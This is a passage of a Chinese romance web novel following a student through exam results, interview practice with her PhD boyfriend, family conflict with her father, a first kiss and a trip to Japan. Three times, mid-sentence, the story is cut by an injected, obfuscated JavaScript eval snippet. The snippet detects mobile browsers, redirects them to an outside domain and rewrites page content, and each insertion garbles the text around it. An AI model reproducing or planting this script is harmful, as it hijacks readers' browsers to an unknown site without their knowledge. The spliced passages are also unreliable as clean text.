这股异样的自信支持着我,每天背专业课,学英语和写数学题。我们学院的复试采取笔面结合的方式,笔试考察内容与初试差不多,占比不低,同样需要好好准备。 我觉得对于应届考研党来说,从大四开学到出成绩这段时间是很难熬的,不知道自己能考多少分,不知道国家线是涨还是跌,发挥不好的甚至还得纠结要不要准备复试。 蒋峪建议我,先坚持学英语,等临近出成绩再继续背专业课,但实际上开学以后各种有关毕业的琐事忙得很,能耐着性子跑图书馆已经很不容易了。 2月底,出成绩的日子。 那一天早晨,我兜里揣着准考证,早早地离开了宿舍。 山东考区的成绩十二点以后才出,在这个漫长的上午,我机械地刷着微博和小红书,看其他考区的人发着已查到的成绩。 世界上最煎熬的等待,永远是悬而未决,而我一退再退。 蒋峪分享了一首“好运来”给我,可我的心乱得很,既期待,又害怕,根本听不下去。 饶是有着深刻的笃定,但在输完个人信息以后,我还是紧张了一下,结果成绩页面根本不给人心里准备的时间,几乎是我刚点了查询,它立刻就弹了出来。 然后,天啊,我第一时间就看到了总成绩那一行的数字。 我考了一个相当可以的分数,成绩比我想象中的最大数字还要高! 有一种从来没得过第一名,从来没拿过一等奖,但裁判席也通知你入围了那种激动,是我哎! 在国家线和院校线没有较大跌涨的情况下,我获得复试名额已是板上钉钉。 我以为我会哭,甚至在口袋里准备好了纸巾,但没有想到,我只是心潮起伏了那么一下下,而后很快平静下来。 我确实很高兴,说进入复试没有想象中的开心那绝对是假的,不然,如果我真没进复试的话,该哭的就是我了。 我爸问我多少分,进复试没有,他满意了,说出的话却是:你也别太骄傲了,别以为你这个分就稳了,又说了一些如何准备复试的套话。 欲加之罪,何患无辞。我何时骄傲了呢?仅仅是告诉爸爸成绩,发了三个数字,就可以遭到这样的误解,一次又一次,把我搞到应激。 但我完全放弃辩解,很快结束了对话。 当我不再因为爸爸的话感到强烈的痛苦和屈辱,那他就不再重要。我可以自己鼓励自己,我能做自己人生的家长。 我们学院的动作还是很快的,国家线公布了以后,复试名单很快就出来了。 虽然我的排名靠前,但从进入复试的名单上看,大家的初试成绩根本拉不开差距,分数咬得很紧。 蒋峪安慰我说,初试成绩重要,但也没那么重要,它只是见到复试老师的一张门票。 我:你说得很好,但别说了。 我瞪了蒋峪一眼,他才意识到自己说话说反了。 读博确实有好处,好在说错话的时候,别人只会说这个人读书读傻了,而不是怀疑他在某些方面有欠缺。 蒋峪对我寄予厚望,尽职尽力地帮我模拟面试。 一个复试小技巧是,可以到学校官网,查看每年本专业复试工作组的成员,把这些参与面试的导师们的照片下载好,提前熟悉一下他们的个人形象,能减少很多紧张情绪。 蒋峪给我拼了一张导师们的壁纸,设置成常用设备的屏保,我每天就对着电子屏幕练习。 刚开始的场面还是很搞笑的。 我们在室外,一人占据桌子的一边。蒋峪摆出导师们的大合影,然后他坐在电脑后面,一本正经地提问我专业课和口语。 每次对上他的眼睛,我都不自觉地想笑,然后蒋峪也会忍不住,跟着我一起笑。 第二次,我给蒋峪戴了我的粉红墨镜,他没拒绝,听话地任我摆弄。 蒋峪的眼睛很好看,他有一对漂亮的平扇窄双,闭上眼睛的时候,眼睫会轻轻扫过我的手指,然后被我坏心眼地拉了一下。 我问蒋峪这么长的眼睫毛保真吗?蒋峪说和我的录取通知书一样真。 凑近了,我才发现蒋峪的鼻梁上,有一颗很小很小的痣,不近看就是一个点。仗着他闭着眼睛,我把眼镜摘下来,悄悄亲了他一口。 蒋峪立刻拉开了我,他还端着假导师的架子:“这位同学,请保持距离。” 汪同学不同意,蒋老师只好礼节性回吻了一下。 - 谈恋爱甜,备考苦。 进入复试甜,笔试和面试苦。 笔试安排在面试的前一天上午,它的难度中规中矩,我会写的都写满了,不会的也编上了。但我发誓,面试的那一小会儿,才是我人生中,最尴尬的、最难熬的二十分钟。 在外面候场的时候,我非常清晰地听到了面试室传出来的老师们的笑声,没一会儿,从里面走出来了一个春风满面的同学。 我朝他投去了一个既敬佩,又忌惮的眼神,不自觉紧张起来。 实话说,让老师开怀并不是硬性要求,除了本质上的不会作答,面试更多的是看人的心态。 我看过很多详尽到细枝末节的复试经验贴,比如怎样穿搭,怎样问好,但实际上,当我进入面试室,看到老师们的时候,这些身外之物我全都忘了。 我甚至觉得自己没有思考,而是凭借本能在回答老师的问题。 要领就是,你可以对答如流,但不能侃侃而谈,允许有一定的拘谨,但不能是木讷,要表现得非常谦逊,但也不能丢失作答的坚定。 我感觉我也很幸运,因为给我面试的老师们都很和善,没有说一些很mean的话,不然我的心一定会当场碎掉。 复试有惊无险,我是四点多出来的,蒋峪拎着我的行李小包,我们打车去了高铁站,晚上七点多就到北京了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417764|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个是蒋峪的安排,他觉得我紧张了这么多天,也该休息一下了。与其在焦虑里等待录取情况,不如出去玩一两天。 我真的很感谢蒋峪,他陪我一遍遍地模拟复试,提问专业课,纠正口语,我们几乎把复试资料上面的重点题都复习了一遍。 抛开男朋友的身份,他也是一个非常不错的学习搭档。 想到这,我眼泪汪汪,特别感性地对蒋峪说:“小蒋,分手了我们也要一起学习好吗?” 蒋峪:“求你盼我点好”。 在我说出更离谱的话之前,他轻轻捏住了我的脸,手动闭麦。 往后的时候,我时常想到这个片段,想到这场曾使我心神不宁的,决定我人生命运走向的复试。 我懦弱地对蒋峪说,我不能,也不敢去想象复试被刷的后果。 蒋峪本来信誓旦旦地强调,我一定能考上,直到他攥住我冰凉的手,他才意识到,我内心的焦灼程度是多么严重。 苍白的鼓励已经安慰不了我了,蒋峪立刻换了一种方法。 因为我们在北京只待两天,蒋峪便说,那我们一天用来庆祝通过复试,另一天假设复试被刷的话,我们提前预想应该怎样面对。 反正没一两天就出结果了,我点点头,几乎只用了一秒就同意了这个心理暗示法。 蒋峪说,那你现在开始想象,自己已经是研究生了,你会有怎样的规划呢? 他理直气壮的口气直接把我逗笑了。 我不说,蒋峪便自顾自说下去:“研一你应该还要继续上课,写课程论文,对了,你六级考了多少分?” “五百三十多。” “好吧,那你不能申请免修英语了。”蒋峪语气遗憾,认真到仿佛已经确定我今年九月份有书读一样。 “免修也免考吗?” “对。”蒋峪点点头,“点点,你毕业前应该还能再刷一次分。” “我暂时没心情想后面的事。”我埋起自己的脸,叹了一口气,“哎,如果能考上,让我天天开组会,写论文,给老师当牛做马,我也愿意啊。” 蒋峪被我逗笑了,“你可真敢想。” 我推推他,让他用导师的语气和我句说话。 蒋峪立即开始单口相声:“汪意点,过来一下,你来讲PPT,你最近在忙什么?有问题为什么不及时沟通?你想表达什么内容?你这一周都做了什么?你还是没有明白我的意思......” 他的声音越来越低,直至呢喃。 蒋峪睡着了。 已是凌晨两点,我在黑暗里翻了个身,看着蒋峪近在咫尺的侧脸,我感觉未来既现实又遥远。 复试,调剂,毕业,工作,这些是比身上薄被还要厚重的东西,沉沉地压在我的身上,而我缄默回应。 人生中还会有这般辗转反侧的夜晚吗?我并不知道。 成与败,生与罚,如若命运赐我事与愿违,好像我也只能以沉默接受。 但我会永远记得这一年,记得二十一岁的我,曾为了未来,有多么勇敢过。 岂能尽如人意,但求无愧我心。 8. 一个吻 拟录取以后的日子轻飘飘的,我的人生好像悄悄进入了easy时期。 交实习报告,上传本科论文,提前联系导师,毕业答辩,领学位证和毕业证,夏天匆匆按下加速键。 二十岁出头的爱情如此脆弱,但如果对象变成了蒋峪,似乎又弹性了起来。 研究生的开学第一天,蒋峪翘班陪我报道。 学校在广场上扎了好多迎新篷子和立牌,人头攒动,热闹非凡,到处都是学生和家长。 我和蒋峪在欢迎新同学的牌子后面拍了秋天的第一张合影。 拍立得即出,照片里,我拿着录取通知书,蒋峪站在我身后,他的轻轻手搭在我的肩膀上,我们都露出了一个浅浅的笑容。 四年前,本科报道的时候,也是在这个地方,我一个人拉着行李箱,带着人生地不熟的茫然和羞涩,独自穿梭在人群里。 找学院帐篷、报道登记、领新生礼包、办理入住,什么都是一个人,汗打湿头发,搞得一切都很狼狈,我一张照片都没拍。 今年夏天,我同父异母的弟弟也考来了省会。他超常发挥,被一所综合性师范院校提前批录取,依照我爸子承父业的心愿,读的是面向我市就业的汉语言文学专业公费师范生。 我爸和阿姨送他去大学报道,也喊上了我,蒋峪问我他需不需要过去帮忙,但被我拒绝了。 我心里有一种,蒋峪是我的人,不想他也被我爸一家三口“奴役”的微妙。 那天也很戏剧化,因为我弟的大学离我们校区特别近,路线顺到只要两三个拐弯就能到。考虑到报道日可能会出现的堵车情况,蒋峪便自告奋勇骑电动车送我。 结果,他的车骑到半道被钉子扎了轮胎,和平路堵到公交车和私家车都寸步难行,我把蒋峪留在附近的电动车商店修车,自己步行过去。 我紧赶慢赶,勉强在爸爸他们下出租车前,抵达了约定好的校门。 爸爸看着我被汗打湿的头发,以为我等候多时,难得来了一句:“这才有个姐姐的样,还是有个姐姐好啊。” “呵呵。”我笑不出来。 走在校园里,大一新生是最好辨认的,先不说衣着的区别,但看那一张张好奇宝宝的脸,就足够确认了。 我站在树荫下,负责照看行李,而爸爸和阿姨两个人围着弟弟在新生报到帐篷下登记。 父母陪着报道不稀奇,有些学生的全家甚至包括小狗都跟着来了。 看着来来往往的年轻学生,比他们大四五岁的我,难免徒生几分长辈心态。 大学报道对于一个年轻人来说,确实是一个很重要的日子了,若非实在脱不开身,哪有家长会错过这个有意义的时刻,让孩子独自一人跑到陌生的城市报道呢? 不远处,爸爸怕热着弟弟,一下下用力挥着刚才发的广告扇子,他是如此关心他的孩子,即便自己早就热到湿透上衣。 而四年前,我是一个人坐高铁去大学报道的。临下车的时候,我给爸爸发微信说我马上到了,可那条信息,直到我坐上网约车,抵达校园都没有被回复。 我曾在不安里,无数次,向我的父亲发出过求助信号,但也无数次被拒收,沉默是他无声的拒绝,也是我懂事的领会。 换到几年前,我可能还会因为爸爸这种区别对待感到难过,但对于现在早已化身为钮祜禄·汪·意点·女王的我来说,只剩下了淡淡的嘲弄。 送我弟办理入住以后,我以为我可以撤了,但在我爸的要求下,我们又和我弟熟悉了一下他的校园。 我在爸爸他们家面前并不是一个健谈的人,顶着烈日炎炎走在陌生的大学里,听着他们兴奋的讨论,我只觉得很无聊,甚至有些想蒋峪了。 如果蒋峪在就好了,我们俩可以测评一下这个大学的食堂。 我爸想得特别全面,图书馆,几所食堂,超市,连快递站都带我弟走了一遍。 该怎么说呢,在爱的人面前,男人也是很细心的。甚至临走的时候,我还听到爸爸嘱咐弟弟,“以后买水果到食堂里面的超市买,宿舍楼旁边店里的水果看着不太新鲜。” 爱与不爱很明显,同样的事情放在我身上,不是我爸做不到,而是他不想为我做。 蒋峪得知我爸送完我弟就走了,他表示很震惊,那意思是,顺路都没来我的学校转转吗。 该怎样给蒋峪解释呢,这一天对我爸爸来讲,最重要的事,是陪弟弟报道,弟弟去了大学,那就只剩下他和我阿姨了。 虽然我弟的大学距离我们校区不到五公里,但我又不是阿姨的亲生孩子,为我多走一步也是多余,还不如早点赶到高铁站吃饭休息。 所以,我研究生报道的时候,家人都不在,我也觉得很正常。何况还有蒋峪陪我,这样也很好。 看着手里还热乎的照片,我有一种时过境迁的感觉。 四年大学生活,焦虑过,也痛苦过,但到底,给我留下了很正向的改变。 一切都过去了。 - 研一的生活和我想的不太一样,有忙碌,有放松,整体上平淡有序,我过得还算可以。 新生见面,第一次自我介绍的时候,我感觉大家都很厉害,有保研的,有考研的,还有工作后读研的,每个人都有很多的履历或者“title”。 跟本科相比,我感觉研究生同学带给我的“趋利性”更强,大家的野心更直白,目标更明确。严格来说,可能谈不上“精致利己”,但是我真体会到蒋峪说的,同门不搞事,那已经是人品很不错的人了。 我从中学到真理就是,专注自身,放平心态,不和别人比,也不和自己较劲。 去年我还想过,为什么蒋峪读博这么忙,还能坚持打球锻炼,甚至胆大到抽时间出去玩。等我读研的时候,我发现这太重要了。 每当事情超过我的承受限度的时候,我就想摆烂,但又不敢真的躺平,焦虑就是这样产生的。读研带给我的最大改变就是,我敢于心安理得地休息了。 因为人生并不是线性的,不是等做完第一件事,再解决第二件的模式,学业和休息如果不能平衡并存,那生活必定再次跌坠情绪痛苦。 读研是学生身份的延续,但事实上,我已经不能把自己当成学生来看了。从读研的第一天我就知道,我的目的是拿一个文凭,争取几段实习,然后在毕业时找到一份心仪的工作。 我之所以在本科时期过得那么拧巴,就是焦虑了太久,没有清晰的规划,等我回过神来的时候,大家已经开始考公考研准备毕业了。 新的阶段,总有新的感想,在我放下豪言壮语的时候,蒋峪一直看着我的脸,笑着听我说,等我说累了,他会适时递上水。 我突然意识到,蒋峪之前看我,就像现在的我看本科阶段的我一样,是一种哥哥姐姐看弟弟妹妹的感觉,有一点自己年龄大了的感慨,还有一点希望对方不要这样焦虑的怜惜。 我问蒋峪有什么补充,蒋峪说:“那你叫一声哥哥来听听。” 我立刻拒绝了。蒋峪这种独生子女,是体会不到,我们这种有兄弟姐妹的人,称呼伴侣哥哥姐姐有多奇怪了,像□□。 不过后来我发现,我想使坏的时候,我可以喊他“蒋峪哥哥”,蒋峪刚开始会立刻脸红,别扭得要死,后来他免疫了,直接不让我说了。 - 恋爱一周年纪念日,伴随着读研的第一个冬天到来。 明天是圣诞节,我和蒋峪出门吃饭。 出门晚,我们要去吃的餐厅没位置了,我们决定步行去另一家。 天色暗下来,路边装点好了具有圣诞氛围的一切,亮着灯的雪人,炫彩美丽的圣诞树,灯网架起来,暖黄的小灯泡在夜色下泛着温馨的暗光。 路过某一家商铺的时候,我和蒋峪对视一眼,我们不约而同想起了去年冬天的第一个吻。 我和蒋峪第一次接吻,其实发生在去年的十一月底。 去年,圣诞节到来前的一个月,我们学校附近的商场要举行圣诞点灯仪式,据说还会有人工降雪,所以我和蒋峪约好那天在外面吃饭,也算是我考研前最后一次出门玩。 那天特别冷,白天刮了很大的风,我和蒋峪下午出门,打电话订了铜锅涮肉店的位子,吃得浑身都暖呼呼的。 从商场西翼下来的时候,外面已经围了很多人了。一颗巨大的圣诞树矗立在中间,亮色灯带环绕了一圈又一圈,到处都是拍照的漂亮女孩。 我们理解信息有误,商场准备的不是人工降雪,而是人造雪,机器打出来的是白色泡沫,落在头顶像旺旺雪饼上面的圆点糖块。 我和蒋峪站在外围凑了一会儿热闹,赶在八点亮灯之前撤了。 市中心距离我们校区特别近,周边公交站点密集,我们决定走到中间的路程,再坐车回去。 蒋峪欣然同意。 现在看来,爱情果然令人盲目,以至于让两个热血青年失去了对温度的感知。不过,在学生时代,能有一段在冷风里的笨拙,勉强也能算得上是浪漫啦。 距离圣诞节还有一个月,街头的商铺还没有装点起来,零星着几个店面的玻璃上贴了红绿的圣诞元素装饰,门上挂了槲寄生编织花环。 灯火阑珊,我和蒋峪并肩走在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417765|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群里,他的手好热,我带着毛线手套都感觉到手指相牵的地方很烫。 我心不在焉地和蒋峪讨论着圣诞节,在我的设想里,我和蒋峪应该先美美欣赏流光溢彩的圣诞树,然后在人造雪里得到一个浪漫的亲亲。 谁曾想,雪是泡沫不说,两个人最后的选择还是在冷风里压马路。 走到解放阁那边的路口,再往前不远就是公交车站,我们在一个巨大的广告牌后面站定。 我安静下来,不再说话。 蒋峪侧目:“怎么了?”他看向旁边商业街的方向,“要进去逛逛吗?” 我摇摇头。 “走累了?” 我还是摇头。 “不高兴?” 我的头要摇成拨浪鼓了,蒋峪笑了笑,想摸摸我的头,但手到半路尴尬地停住了。 因为我今天扎了发型,他不敢随便碰。 “难道是冷了?”蒋峪自言自语,拎着我的手抄进他的上衣口袋,“哎呀”我下意识叫了一声,手在里面碰到了一个毛绒绒的东西。 什么鬼?我掏出来一看,是一只红帽子的麋鹿花生。 我拎到他眼前问:“这是什么?” 蒋峪笑而不语,他又拍了拍另一个口袋,“再看看这边呢?” 我伸手进去,里面歪着一只围着红围巾的巴塞罗小熊。 圣诞款的红帽子花生和红围巾小熊,和我的手一样大,超级可爱,我忍不住摘了手套捏了捏。 “这是哪儿来的?” “你去洗手间的时候买的。”我在他口袋一翻,里面果然放着一张小票。 “可爱吗?” “可爱。”我攥着两个小东西,又塞回了蒋峪的口袋,“别给它俩冻感冒了。” 我的手长久地停在蒋峪的口袋里,时间像停住了一样。我没有动,和蒋峪对视一眼,他顺势抱住了我。 拥抱,是一个简单但又安心的动作,因为我们两个都穿了厚厚的羽绒服,相贴在一起,没有旖旎,倒是很像两只笨拙的企鹅。 我想抬头看蒋峪的脸,他不让我看。我只好伸出放在他口袋里的手,也轻轻环抱住了他。 “为什么不让我看?” “我不好意思。” 蒋峪的声音从头顶传来,我闷闷地笑了,“可是我想看。” “那好吧。”蒋峪在我面前毫无原则,他后退一点,稍稍拉开了我们身体之间的距离。 蒋峪神色如常地任我打量,他哪里害羞,明明端的是一副很正经的样子。 人浪中想真心告白,我们谁都没有说话,也许,对视就是眉目传情的一种。 蒋峪最先败下阵来,他捂住我的眼睛不让我看他,我索性闭上了眼,“蒋峪,我能不能提前得到生日礼物?” “你不是已经得到了吗?” 蒋峪把手放了下来,我还是闭着眼睛,问他:“什么时候?” 我今天涂了一支哑光质地的唇釉,非常不沾杯,如果蒋峪是美妆小达人,并且get到我的意思就好了。 “没准儿是今年10月22号之前吧。” 遇到一个不解风情的男人,我恨恨地睁开眼睛,暗示到这份上,他就一点不懂吗? 我撒开他,要走,蒋峪不让:“别,我还没有说完。” 蒋峪用更大的力道搂住了我,重量转移到他身上,我开始催他,“那你说。” “我说。” “说呀。” 好了,某人又开始不好意思了。 他非常认真地看着我,“我怕你不愿意,觉得我很唐突。” 我问他:“那你觉得什么时候合适?” 蒋峪还真想了一会,然后我眼睁睁地看着他的耳朵又红了。 外面的风凉凉的,我俩都没有带口罩,吹得鼻尖和眼睛都红了,我看蒋峪的脸这下子要变成西红柿了。 绅士的某人问:“可以吗?” “不可以。” “可是我想。” “那也不行。” “求我。” “求你。” 接吻是这样的感觉吗?心连心,唇贴唇,绵软的,小心翼翼的,唇齿磕碰,像两条测线系统失灵而无措撞头的鱼。 那种触感,先是凉,然后是软,最后是干。 风是凉的,唇齿相贴的地方是软的,嘴边是干的。老实说,动作很平淡,但对我的心理刺激大于生理感受,我轻轻闭上了眼。 手贴在蒋峪的胸口,他的心跳好快好快,敲锣打鼓一样,圣诞点灯仪式的鸣奏在他的心里悄悄响起。 下雪了。 9. 小汪的春天 翻过年来,夏天的时候,蒋峪的师姐要结婚了,她缺一个属相合适的未婚伴娘,问了一圈,临时找到了我。 蒋峪也被师姐委以重任,负责陪同导师,但好在同处一个城市,蒋峪只需要在上午和新娘亲戚一起把人接来就可以了。 仪式开始后,蒋峪导师证婚,我负责递送戒指,蒋峪功成身退,绕回宾客坐席。 准备入场的时候,蒋峪的师姐和师姐夫还跟我吐槽,说站在台上像给人展示的猴,结果等到了互诉衷肠环节,音乐再一烘托,两个人都止不住泪花点点。 下一个环节需要我出场了,我端着戒指盒,安静地站在鲜花小径入口一侧。 前阵子刚下过雨,草地还没有被太阳彻底晒透,踩上去软绵绵的。一会儿,我就要踩着不熟练的高跟鞋,拖着长长的裙摆,从这一直走到新娘新郎身边。 我有些紧张,下意识在宾客中寻找蒋峪的身影。 蒋峪却像早就知道我会看他一样,他站在草坪边缘,举着手机,一眼不错看着摄像头里的我。察觉到我的视线,蒋峪抬起脸,立刻露出一个笑容。 对着人,我不好意思做什么表情,严肃地把头转了回去。 抬头,挺直腰板,注意脚下,一切都很流畅,我完美地递上戒指,交换回了师姐的手捧花。 正午阳光明媚,我攥着花,走过草地,穿过人群,在一众善意的起哄里,把花送到了蒋峪的手里。 主持人还在台上打趣着什么,可我什么都没有听到,因为阳光照得蒋峪的眼睛好亮好亮,我只顾看着他的脸傻笑了。 他的脸红红的,和我一样。 - 昨天,和蒋峪师姐对流程的时候,她说要取消扔手捧花环节,直接送给我。 我问她我可不可以再送给别人,师姐看着不远处正站在高凳上贴囍字的蒋峪,打趣我说:“哦呦,别人姓蒋吗?” 我笑了笑,我只是突然意识到,我从来没有给蒋峪买过花。 蒋峪第一次送花是考研结束的时候,后来,他经常送花,有些是他买的,有些是家里种的,我把枯萎的花瓣收集起来,埋进我养的茉莉花盆里,夏天的时候,我每天都能闻到茉莉的香气。 看着蒋峪师姐手机里的图片,我已经开始构思,明年蒋峪答辩的时候,我要送他什么样的毕业花束了。 下午两点多,婚宴准点散席。 蒋峪先行一步去送导师,随后再回酒店接我。 在帮忙打包剩余饭菜的时候,我已经迫不及待想要见到蒋峪了。 因为我们已经快半个月没有见面了!要不是蒋峪师姐的婚礼,处于学期末的他估计要等彻底放假才有空。 在我放暑假前,因为工作的事情,我本来打算申请留校,但为了通勤方便,我最后决定在实习单位附近的连锁酒店订了一个短租的房间。 蒋峪只在帮我搬出去的第一天,短暂享受了一下酒店柔软的大床,而后苦哈哈地回了学校。 那天下午,从酒店大厅看着蒋峪背着电脑包离开的时候,望着他沉稳的背影,我有一种我们在各自奋斗的心酸,但伤感转瞬而逝,我对即将到来的暑假生活充满大干一场的期待。 我选择暑假不回家的另一个原因则是,我和我爸就转博的事情大吵了一架。这导致,我完全不想回青岛了,如果那个地方还能算作是家的话。 我其实没有想明白,为什么我已经离开了原生家庭,甚至都做到了经济独立,但只要我爸的一通电话,我的情绪就会立刻炸锅,像一个易燃易爆氢气球。 我对家的感受,不应该随着物理距离的拉远,而越来越平淡吗? 虽然我暂时没有想通这一点,但并不妨碍我脑子清醒地否决了我爸要求我去读博的提议。 说一千,道一万,就算我申请读博,那也得是我自己愿意,我自己想去,但为了我爸,不可能,他想都不要想。 我不可能为了我爸的面子,为了他以为的好前途,牺牲自己的人生,去换一个乖孩子的牌坊,那除了让我自掘坟墓,没有任何好处。 用我爸以前PUA我的话来讲,人生来就是要吃苦的,是个人都要吃苦,不吃苦的还能叫人吗? 是,我可以附和地承认,到目前为止,我的人生确实是一场痛苦的修行。 父母离婚不是我要求的,在没爱的重组家庭长大也不是我愿意的,我没有主动求过任何一件事,可只有我承担了这些事情的后果。 用了整个前半生对此负责的人,是我啊,不是我爸,也不是我妈,后者在拿不到抚养权以后,直接把我放弃了。 我甚至都不能怪我妈,一个因为照顾小孩没有工作的年轻女人,生了孩子不仅拿不到抚养权,每月还得倒贴抚养费给前夫,说句不好听的,要我,我也跑了。 我记得奶奶过世后的春节,我爸背着阿姨悄悄跟我说,没了妈,就像没了家一样,他还说什么想当一辈子跟在妈妈后面的老儿子。 听到爸爸说这种话的时候,我心头闪过一丝莫名的嘲讽,跟我说这个干嘛呢?早干嘛去了。 况且,要我怎么共情,我不也没妈吗? 我爸是爷爷奶奶唯一的孩子,70年代的胶东地区独生子,从小就被父母当眼珠子一样看大的。虽然我爷爷奶奶只活了七十来岁,但也实打实地陪了我爸五十年。 可我爸为了自己,让我的前半生变成了一个玩笑。于我而言,亲情是一块沉重的墓碑,压倒在身上,我只有窒息般的举手投降。 其实我爸什么都知道,这些年,我在等待什么,又在痛苦什么,他什么都明白的,他只是遗弃了我,又漠视了我,从我还是一个四岁的孩子开始。 但我早已还清我的债,接下来,我要去过我自己的人生了。 - 参加完婚礼的第二个星期,蒋峪暂时放假了,他也从学校宿舍搬回家里。 博士学位,只有听上去是光鲜的,真正去读,是一件很辛苦的事情。 明年要解决毕业和就业两大问题的蒋峪,肉眼可见地憔悴起来。 某天,我看着他打开电脑,点鼠标,敲键盘,删删减减,一个上午过去,蒋峪产出了0个字。 到这,我还没觉得蒋峪怎样,因为他任何时候看上去都一副情绪稳定的样子。 直到傍晚,蒋峪接我下班。 他骑着一辆崭新的电动车,载着两条干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417766|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的狗等在树荫下,要不是他人在那里,我还以为这是别人家的车和狗。 我的小绿电动车,已经服役了五年多,再怎么爱惜也难免出现老化和变色的情况,蒋峪不嫌麻烦,他骑回父母家,拿着抹布和水管,里里外外擦了干净。 洗完车以后衣服也湿了,他又把家里的两条狗抓来,不顾狗狗的意愿,强行洗了个澡。 蒋峪干了一下午的体力活,擦了车,洗了狗,他什么都愿意做,除了科研。 我问蒋峪今日进度如何,蒋峪立刻说今天不和我讨论敏感话题。 哈哈哈,感觉有人马上要疯了。 我终于知道,我之前认为的蒋峪的情绪稳定,其实是一种活人微死感,就算有人现在告诉他电脑要爆炸了,可能蒋峪也只会淡淡地说:好的,我知道了。 我甜蜜蜜地安慰蒋峪说:“没关系,你怎样都迷人”,他勉强扯出了一个笑,说谢谢我。 谁还没个痛苦时候呢? 在我读研最难受的时候,我骑着电动车从宿舍去办公室,我经常想如果这条路能无限延长就好了,我宁愿骑一辈子电动车,也不愿踏进那个地方半步。 别说谈恋爱见人了,我连自己都想从世界上原地消失,就当没有我这个人。 年上恋人的好处是,你正在经历的,他已经经历过,你所有的痛苦他都理解,沉默他也都明白。 因为写论文焦虑到吃不下饭,我把蒋峪给我买的慕斯蛋糕戳得不像样子,然后受刑一样一口口吃掉,那一小块甜品已经是我一天当中最有食欲的时候了。 蒋峪陪我一言不发,他总是说,“不要着急”,一遍遍鼓励我,直到我有耐心,从吃一块完整的芒果抹茶慕斯开始。 所以,当蒋峪开始焦虑,哪怕他隐藏地很好,我也会反复对他说:“你很好,你很棒,你一定能解决所有问题!” - 晚上,我们在酒店房间里一起吃饭。 蒋峪下午在他老妈的指导下,炖了白萝卜大骨汤,掀开保温桶的盖,满屋都缭绕着浓郁的鲜香之气。 自从蒋峪开始放假,我的晚饭质量直线上升,每天都能吃到健康像样的正常饭。 看得出来,蒋峪这段时间压力不小,当人长期处于焦虑状态的时候,确实需要去做一些能够立刻得到正向反馈的事情,以挽救心理健康,比如打扫卫生,比如给自己和女朋友做饭。 我短租的酒店位置距离蒋峪家和单位都很近,蒋峪放假以后,每天早上都贤惠地带着早饭过来找我,我出门上班以后,他便打开电脑自己工作。 我从公司回来,他已经提前准备好了饭菜还有舒适的床等我。 很难形容这种平静生活给心灵带来的微妙安抚之意,因为工作总有不顺心的地方,但是没关系,还可以回“家”,回到我租住的地方。 哪怕这只是一个临时住所,但我总知道有一个地方是安全的,可以暂时遮风避雨的,只属于我的。 我终于也长到一个,能够自给自足安全感的年龄了,这比任何事情都重要。 飘风不终朝,骤雨不终日,我在心底按捺着对秋天的金黄期待,我相信生活会越来越好的,一定会的。 10. 温柔眼神 据说,情侣出门旅游是检验感情的重要标准,我和蒋峪第一次出国旅行,就近去了日本。 在找旅行社递签前,我还担心山东领区叠加我的青岛户籍会比较麻烦,因为我是我一个习惯性焦虑的人。但什么都没有发生,非常丝滑地就出签了。 我和蒋峪这几次的旅行都是自由行,蒋峪主要负责做攻略,订酒店找餐厅规划景点路线,一切都归蒋峪管,我只需要整理好自己的行李就可以了。 像我这种低精力的人,可能上一秒写完攻略,下一秒就打退堂鼓不想出门了。 因为我爱当甩手掌柜,所以我是一个依从性特别好的旅伴,这样可以,那样也可以,除了提供满满的情绪价值,我从不抱怨。 我们第三天要从新宿去涩谷,但我和蒋峪在新宿站被绕晕了,完全找不到路。 蒋峪怕我担心,表现得很淡定,但我发现蒋峪的记忆力相当不错,他没找到正确的入口,但他能原原本本地从我们迷路的地方,绕一圈再回去,也算很厉害了。 因为我全程都很兴致勃勃,蒋峪便以为我没发现他带我迷了路,触及我信任的眼神,他特别不好意思地告诉我,“对不起宝贝,我们好像还没找到那个入口。” 我偷偷受用了一秒蒋峪的愧疚,然后也加入问路和寻找中。 按照谷歌地图,我们需要找到山手线,蒋峪在这里的攻略做的比较简略,虽然标了路线,但我们没了解它们的背景。 比如我们知道jr是日本railway简称,但是我们不知道jy是jr加上山手线(yamanote line)的缩写,jy其实是jryl,这导致我和蒋峪两个笨蛋以为jy和jr是两个东西,并不知道其中的包含关系。 一切感谢小某书科普!后来看到绿色的jy山手线标识的时候,我俩简直喜出望外。 两个人去一个完全陌生的国度旅游是很有趣的,拿着地图的我俩像模拟经营游戏里面npc小人,在世界各个角落留下小小的探索足迹。 到达shibuya sky,我们买的是白天的票,除了有点晒,景致还算不错。 扶梯缓缓下行,我俩不约而同扭头向外远眺。 